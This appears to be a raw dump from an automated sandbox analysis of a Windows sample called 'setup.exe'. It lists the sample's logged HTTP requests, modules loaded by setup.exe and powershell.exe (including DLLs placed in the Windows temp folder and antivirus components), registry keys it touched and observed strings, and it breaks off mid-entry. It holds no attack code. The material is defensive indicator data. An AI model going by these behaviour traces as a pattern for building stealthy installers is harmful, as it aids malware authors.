Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: origin-when-cross-origin strict-origin-when-cross-origin Content-Security-Policy: default-src 'none' Content-Encoding: gzip Server: github.com Accept-Ranges: bytes X-RateLimit-Limit: 60 X-RateLimit-Remaining: 54 X-RateLimit-Used: 6 X-RateLimit-Resource: core X-RateLimit-Reset: 1777595099 Content-Length: 480 X-GitHub-Request-Id: A184:48B84:5F2371E:17AAEDC0:69F3E4DB with response body ==>5B0A20207B0A20202020226E616D65223A20226368322D72656672657368222C0A2020202022636F6D6D6974223A207B0A20202020202022736861223A202264....... "GET /installazurecliwindows HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110 Host: aka.ms Accept-Encoding: gzip, deflate" Response ==> HTTP/1.1 301 Moved Permanently Content-Length: 0 Server: Kestrel Location: https://azcliprod.blob.core.windows.net/msi/azure-cli-2.85.0.msi Request-Context: appId=cid-v1:d94c0f68-64bf-4036-8409-a0e761bb7ee1 X-Response-Cache-Status: True Expires: Thu 30 Apr 2026 23:25:18 GMT Cache-Control: max-age=0 no-cache no-store Pragma: no-cache Date: Thu 30 Apr 2026 23:25:18 GMT Connection: keep-alive Strict-Transport-Security: max-age=31536000 ; includeSubDomains with no response body "GET /repos/ansible/ansible/releases HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110 Host: api.github.com Accept-Encoding: gzip, deflate" Response ==> HTTP/1.1 200 OK Date: Thu 30 Apr 2026 23:25:20 GMT Content-Type: application/json; charset=utf-8 Cache-Control: public max-age=60 s-maxage=60 Vary: Accept Accept-Encoding Accept X-Requested-With ETag: W/"471b1e7257eff6d5d223bd6366811a7ce7da9e9020f25f0f6f852b27f3e3cf03" X-GitHub-Media-Type: github.v3; format=json Link: ; rel="next" ; rel="last" x-github-api-version-selected: 2022-11-28 Access-Control-Expose-Headers: ETag Link Location Retry-After X-GitHub-OTP X-RateLimit-Limit X-RateLimit-Remaining X-RateLimit-Used X-RateLimit-Resource X-RateLimit-Reset X-OAuth-Scopes X-Accepted-OAuth-Scopes X-Poll-Interval X-GitHub-Media-Type X-GitHub-SSO X-GitHub-Request-Id Deprecation Sunset Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: origin-when-cross-origin strict-origin-when-cross-origin Content-Security-Policy: default-src 'none' Content-Encoding: gzip Server: github.com Accept-Ranges: bytes X-RateLimit-Limit: 60 X-RateLimit-Remaining: 53 X-RateLimit-Used: 7 X-RateLimit-Resource: core X-RateLimit-Reset: 1777595099 Transfer-Encoding: chunked X-GitHub-Request-Id: A184:48B84:5F24E83:17AB4CB8:69F3E4DC with response body ==>5B0A20207B0A202020202275726C223A202268747470733A2F2F6170692E6769746875622E636F6D2F7265706F732F616E7369626C652F616E7369626C652F72....... "GET /todos/188 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110 Host: jsonplaceholder.typicode.com Accept-Encoding: gzip, deflate" Response ==> HTTP/1.1 200 OK Date: Thu 30 Apr 2026 23:25:21 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive access-control-allow-credentials: true Cache-Control: max-age=43200 etag: W/"55-MyMsEfe4IgwRlSuSKO2BH+85UxU" expires: -1 nel: {"report_to":"heroku-nel" "response_headers":["Via"] "max_age":3600 "success_fraction":0.01 "failure_fraction":0.1} pragma: no-cache report-to: {"group":"heroku-nel" "endpoints":[{"url":"https://nel.heroku.com/reports?s=McGMyz8xIjkvubyyF0RBYaM59CQEomMj7MQ4z6uDPjE%3D\u0026sid=e11707d5-02a7-43ef-b45e-2cf4d2036f7d\u0026ts=1777523505"}] "max_age":3600} reporting-endpoints: heroku-nel="https://nel.heroku.com/reports?s=McGMyz8xIjkvubyyF0RBYaM59CQEomMj7MQ4z6uDPjE%3D&sid=e11707d5-02a7-43ef-b45e-2cf4d2036f7d&ts=1777523505" Server: cloudflare vary: Origin Accept-Encoding via: 2.0 heroku-router x-content-type-options: nosniff x-powered-by: Express x-ratelimit-limit: 1000 x-ratelimit-remaining: 993 x-ratelimit-reset: 1777523525 Age: 23482 Server-Timing: cfCacheStatus;desc="HIT" Server-Timing: cfEdge;dur=7 cfOrigin;dur=0 cf-cache-status: HIT Content-Encoding: gzip CF-RAY: 9f4a4e1fdcb72271-SJC alt-svc: h3=":443"; ma=86400 with response body ==>7B0A202022757365724964223A2031302C0A2020226964223A203138382C0A2020227469746C65223A202276656C206E6F6E2062656174616520657374222C0A....... "GET /repos/axios/axios/tags HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110 Host: api.github.com Accept-Encoding: gzip, deflate" Response ==> HTTP/1.1 200 OK Date: Thu 30 Apr 2026 23:25:22 GMT Content-Type: application/json; charset=utf-8 Cache-Control: public max-age=60 s-maxage=60 Vary: Accept Accept-Encoding Accept X-Requested-With ETag: W/"d7088fe62b6fc45c5b6d6c820c79e72575d9d65be18d11f7074e699d16962379" Last-Modified: Thu 30 Apr 2026 16:59:13 GMT X-GitHub-Media-Type: github.v3; format=json Link: ; rel="next" ; rel="last" x-github-api-version-selected: 2022-11-28 Access-Control-Expose-Headers: ETag Link Location Retry-After X-GitHub-OTP X-RateLimit-Limit X-RateLimit-Remaining X-RateLimit-Used X-RateLimit-Resource X-RateLimit-Reset X-OAuth-Scopes X-Accepted-OAuth-Scopes X-Poll-Interval X-GitHub-Media-Type X-GitHub-SSO X-GitHub-Request-Id Deprecation Sunset Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: origin-when-cross-origin strict-origin-when-cross-origin Content-Security-Policy: default-src 'none' Content-Encoding: gzip Server: github.com Accept-Ranges: bytes X-RateLimit-Limit: 60 X-RateLimit-Remaining: 52 X-RateLimit-Used: 8 X-RateLimit-Resource: core X-RateLimit-Reset: 1777595099 Content-Length: 1694 X-GitHub-Request-Id: A184:48B84:5F258E2:17AB7782:69F3E4E0 with response body ==>5B0A20207B0A20202020226E616D65223A202276312E31352E32222C0A20202020227A697062616C6C5F75726C223A202268747470733A2F2F6170692E676974....... "GET /repos/traefik/traefik/branches HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110 Host: api.github.com Accept-Encoding: gzip, deflate" Response ==> HTTP/1.1 200 OK Date: Thu 30 Apr 2026 23:25:24 GMT Content-Type: application/json; charset=utf-8 Cache-Control: public max-age=60 s-maxage=60 Vary: Accept Accept-Encoding Accept X-Requested-With ETag: W/"6bb7894cff15df6216bfe1462cf26264e8ed99579ad0e025dadb4b74bc35e672" X-GitHub-Media-Type: github.v3; format=json x-github-api-version-selected: 2022-11-28 Access-Control-Expose-Headers: ETag Link Location Retry-After X-GitHub-OTP X-RateLimit-Limit X-RateLimit-Remaining X-RateLimit-Used X-RateLimit-Resource X-RateLimit-Reset X-OAuth-Scopes X-Accepted-OAuth-Scopes X-Poll-Interval X-GitHub-Media-Type X-GitHub-SSO X-GitHub-Request-Id Deprecation Sunset Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: origin-when-cross-origin strict-origin-when-cross-origin Content-Security-Policy: default-src 'none' Content-Encoding: gzip Server: github.com Accept-Ranges: bytes X-RateLimit-Limit: 60 X-RateLimit-Remaining: 51 X-RateLimit-Used: 9 X-RateLimit-Resource: core X-RateLimit-Reset: 1777595099 Content-Length: 1145 X-GitHub-Request-Id: A184:48B84:5F2638E:17ABA2FE:69F3E4E2 with response body ==>5B0A20207B0A20202020226E616D65223A20226D6173746572222C0A2020202022636F6D6D6974223A207B0A20202020202022736861223A2022663763306664....... "GET /todos/12 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110 Host: jsonplaceholder.typicode.com Accept-Encoding: gzip, deflate" Response ==> HTTP/1.1 200 OK Date: Thu 30 Apr 2026 23:25:25 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive access-control-allow-credentials: true Cache-Control: max-age=43200 etag: W/"5c-cn8oYTUH0zqJRQ4DSHcfTgv6LQQ" expires: -1 nel: {"report_to":"heroku-nel" "response_headers":["Via"] "max_age":3600 "success_fraction":0.01 "failure_fraction":0.1} pragma: no-cache report-to: {"group":"heroku-nel" "endpoints":[{"url":"https://nel.heroku.com/reports?s=uq%2BoiNIhYcOycjyznXISOdF8kapbQWSx1dDChVrfpMg%3D\u0026sid=e11707d5-02a7-43ef-b45e-2cf4d2036f7d\u0026ts=1777523564"}] "max_age":3600} reporting-endpoints: heroku-nel="https://nel.heroku.com/reports?s=uq%2BoiNIhYcOycjyznXISOdF8kapbQWSx1dDChVrfpMg%3D&sid=e11707d5-02a7-43ef-b45e-2cf4d2036f7d&ts=1777523564" Server: cloudflare vary: Origin Accept-Encoding via: 2.0 heroku-router x-content-type-options: nosniff x-powered-by: Express x-ratelimit-limit: 1000 x-ratelimit-remaining: 997 x-ratelimit-reset: 1777523585 Age: 25467 Server-Timing: cfCacheStatus;desc="HIT" Server-Timing: cfEdge;dur=8 cfOrigin;dur=0 cf-cache-status: HIT Content-Encoding: gzip CF-RAY: 9f4a4e3b69112271-SJC alt-svc: h3=":443"; ma=86400 with response body ==>7B0A202022757365724964223A20312C0A2020226964223A2031322C0A2020227469746C65223A20226970736120726570656C6C656E64757320667567697420.......3c:T2105,"setup.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74830000 "setup.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74830000 "setup.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74830000 "setup.exe" loaded module "KERNEL32" at base 765a0000 "setup.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73210000 "setup.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-0" at base 74830000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffc8ca50000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffc8ca50000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffc8ca50000 "powershell.exe" loaded module "KERNEL32" at base 7ffc8feb0000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffc74120000 "powershell.exe" loaded module "KERNEL32.DLL" at base 7ffc8feb0000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 7ffc8e710000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ffc6e060000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 7ffc8d980000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ffc8c890000 "powershell.exe" loaded module "VERSION.DLL" at base 7ffc83df0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ffc67440000 "powershell.exe" loaded module "USER32.DLL" at base 7ffc8de00000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ffc8ca50000 "powershell.exe" loaded module "MSCOREE.DLL" at base 7ffc74190000 "powershell.exe" loaded module "NTDLL" at base 7ffc904b0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ffc8daf0000 "powershell.exe" loaded module "PSAPI.DLL" at base 7ffc8e810000 "powershell.exe" loaded module "RPCRT4.DLL" at base 7ffc8ff60000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\FE2524177EB3088C77BE666722039F52\MSCORLIB.NI.DLL" at base 7ffc5f1b0000 "powershell.exe" loaded module "OLE32.DLL" at base 7ffc8fd60000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ffc8daf0000 "powershell.exe" loaded module "OLEAUT32.DLL" at base 7ffc901b0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base 7ffc5e540000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\0D59B0E237D7519417DE10CD84BDA4E7\SYSTEM.CORE.NI.DLL" at base 7ffc5dac0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\B5BA37E1558CED178A99011A1D659B52\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ffc6bca0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ffc8bca0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ffc8ccc0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\6DA01910C256231D1C50AD0AACEE5941\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7ffc5ba50000 "powershell.exe" loaded module "COMBASE.DLL" at base 7ffc8daf0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7ffc8daf0000 "powershell.exe" loaded module "NTDLL.DLL" at base 7ffc904b0000 "powershell.exe" loaded module "SHELL32.DLL" at base 1ded3ce0000 "powershell.exe" loaded module "WINTRUST.DLL" at base 7ffc8d4b0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 7ffc8d4b0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ffc8d510000 "powershell.exe" loaded module "CRYPT32.DLL" at base 7ffc8d510000 "powershell.exe" loaded module "AMSI.DLL" at base 7ffc7ac80000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ffc83df0000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ffc79e30000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\8DNI3UE3.DLL" at base 7ffc77600000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\7B1F35FB0C2D6955CE5AF2BD372C65F2\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ffc6bc00000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\7BED49C46DE9295A8453DB205C60A028\SYSTEM.DATA.NI.DLL" at base 7ffc5b0e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 7ffc69380000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ffc670d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\8AD4C0AF5B3D51A0F3A4DAC0D44D85D4\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ffc5af70000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 7ffc5a6c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.NUMERICS\86CFD69CE1261BAF4740E7606CADE014\SYSTEM.NUMERICS.NI.DLL" at base 7ffc6df50000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ffc8ca50000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ffc5a570000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\7FF5199E757CB8AF9AD949453F698D09\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ffc6dba0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\604272B0FAEC2E09D53D38E03BC89C6C\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ffc66ff0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7ffc5a430000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ffc72020000 "powershell.exe" loaded module "SECUR32.DLL" at base 7ffc84910000 "powershell.exe" loaded module "SSPICLI.DLL" at base 7ffc8c700000 "powershell.exe" loaded module "WLDP.DLL" at base 7ffc8b860000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ffc8ae40000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7ffc5a350000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7ffc8feb0000 "powershell.exe" loaded module "USERENV.DLL" at base 7ffc8c730000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ffc8e710000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 7ffc8daf0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\DF7D947A99CBCFAA726B127726F05476\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7ffc59640000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\120A0532577F871C2415502D9EDACDD6\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ffc79e00000 "powershell.exe" loaded module "BCRYPT.DLL" at base 7ffc8c360000 "powershell.exe" loaded module "RASAPI32.DLL" at base 7ffc81010000 "powershell.exe" loaded module "RASMAN.DLL" at base 7ffc80f90000 "powershell.exe" loaded module "WS2_32.DLL" at base 7ffc8fcf0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ffc8c090000 "powershell.exe" loaded module "WINHTTP.DLL" at base 7ffc88dc0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 7ffc78790000 "powershell.exe" loaded module "IPHLPAPI.DLL" at base 7ffc8be20000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7ffc85180000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ffc85640000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 7ffc8bb80000 "powershell.exe" loaded module "MSKEYPROTECT.DLL" at base 7ffc7df40000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 7ffc7c2c00003d:Tfb1,"setup.exe" touched "Ptype_PSFactory" (Path: "HKCU\WOW6432NODE\CLSID\{11659A23-5884-4D1B-9CF6-67D6F4F90B36}\TREATAS") "setup.exe" touched "Shortcut" (Path: "HKCU\WOW6432NODE\CLSID\{00021401-0000-0000-C000-000000000046}\TREATAS") "setup.exe" touched "Computer" (Path: "HKCU\WOW6432NODE\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "setup.exe" touched "Property System Both Class Factory" (Path: "HKCU\WOW6432NODE\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "setup.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\WOW6432NODE\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TREATAS") "setup.exe" touched "CLSID_SearchFolder" (Path: "HKCU\WOW6432NODE\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\INSTANCE") "setup.exe" touched "CLSID_CheckCompositionCycles" (Path: "HKCU\WOW6432NODE\CLSID\{DB6EFB73-5153-43B7-8078-C6FFC4C0238C}\TREATAS") "setup.exe" touched "CompoundCondition Class" (Path: "HKCU\WOW6432NODE\CLSID\{116F8D13-101E-4FA5-84D4-FF8279381935}\TREATAS") "setup.exe" touched "Condition History Class" (Path: "HKCU\WOW6432NODE\CLSID\{C64B9B66-E53D-4C56-B9AE-FEDE4EE95DB1}\TREATAS") "setup.exe" touched "LeafCondition Class" (Path: "HKCU\WOW6432NODE\CLSID\{52F15C89-5A17-48E1-BBCD-46A3F89C7CC2}\TREATAS") "setup.exe" touched "Property System" (Path: "HKCU\WOW6432NODE\CLSID\{B8967F85-58AE-4F46-9FB2-5D7904798F4B}\TREATAS") "setup.exe" touched "Shell File System Folder" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "setup.exe" touched "Adobe Acrobat Document" (Path: "HKCU\WOW6432NODE\CLSID\{B801CA65-A1FC-11D0-85AD-444553540000}\IMPLEMENTED CATEGORIES\{00021490-0000-0000-C000-000000000046}") "setup.exe" touched "Microsoft Word-Vorlage" (Path: "HKCU\WOW6432NODE\CLSID\{912ABC52-36E2-4714-8E62-A8B73CA5E390}\IMPLEMENTED CATEGORIES\{00021490-0000-0000-C000-000000000046}") "setup.exe" touched "All Tasks" (Path: "HKCU\WOW6432NODE\CLSID\{ED7BA470-8E54-465E-825C-99712043E01C}\SHELLFOLDER") "setup.exe" touched "Control Panel" (Path: "HKCU\WOW6432NODE\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER") "setup.exe" touched "CompressedFolder" (Path: "HKCU\WOW6432NODE\CLSID\{E88DCCE0-B7B3-11D1-A9F0-00AA0060FA31}\IMPLEMENTED CATEGORIES\{00021490-0000-0000-C000-000000000046}") "setup.exe" touched "Microsoft Access Application" (Path: "HKCU\WOW6432NODE\CLSID\{73A4C9C1-D68D-11D0-98BF-00A0C90DC8D9}\IMPLEMENTED CATEGORIES\{00021490-0000-0000-C000-000000000046}") "setup.exe" touched "Internet Options" (Path: "HKCU\WOW6432NODE\CLSID\{A3DD4F92-658A-410F-84FD-6FBBBEF2FFFE}\SHELLFOLDER") "setup.exe" touched "Network and Sharing Center" (Path: "HKCU\WOW6432NODE\CLSID\{8E908FC9-BECC-40F6-915B-F4CA0E70D03D}\SHELLFOLDER") "setup.exe" touched "LayoutFolder" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{328B0346-7EAF-4BBE-A479-7CB88A095F5B}\INPROCSERVER32") "setup.exe" touched "Private Profile Object" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{75847177-F077-4171-BD2C-A6BB2164FBD0}\INPROCSERVER32") "setup.exe" touched "Power Options" (Path: "HKCU\WOW6432NODE\CLSID\{025A5937-A6BE-4686-A844-36FE4BEC8B6D}\SHELLFOLDER") "setup.exe" touched "Programs and Features" (Path: "HKCU\WOW6432NODE\CLSID\{7B81BE6A-CE2B-4676-A29E-EB907A5126C5}\SHELLFOLDER") "setup.exe" touched "Microsoft OneNote Section" (Path: "HKCU\WOW6432NODE\CLSID\{A5F5BAF2-FFB4-486E-8C70-F2063CBC9FEB}\IMPLEMENTED CATEGORIES\{00021490-0000-0000-C000-000000000046}") "setup.exe" touched "System" (Path: "HKCU\WOW6432NODE\CLSID\{BB06C0E4-D293-4F75-8A90-CB05B6477EEE}\SHELLFOLDER") "setup.exe" touched "Shell Message Handler" (Path: "HKCU\WOW6432NODE\CLSID\{5FA29220-36A1-40F9-89C6-F4B384B7642E}\OVERRIDEFILESYSTEMPROPERTIES") "setup.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS") "powershell.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32")3e:Tf97,Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00006612-00000C2E-1082136424] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00006612-00000C2B-2316108976] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00006612-00000C2B-2316256627] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00006612-00000C2B-2316391142] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll" [Source: 00000000-00006612-00000C2B-2316712798] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00006612-00000C2B-2316779738] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00006612-00000C2B-2316934630] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00006612-00000C2B-2317048201] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll" [Source: 00000000-00006612-00000C2B-2317147627] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll" [Source: 00000000-00006612-00000C2B-2317199894] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00006612-00000C2B-2317314552] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00006612-00000C2B-2317534685] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00006612-00000C2B-2317707582] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00006612-00000C2B-2318067982] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00006612-00000C2B-2318070773] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00006612-00000C2B-2318586680] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00006612-00000C2B-2318625438] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00006612-00000C2B-2318656042] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00006612-00000C2B-2318921913] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll" [Source: 00000000-00006612-00000C2B-2319049974] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" [Source: 00000000-00006612-00000C2B-2319179004] Observed system executable 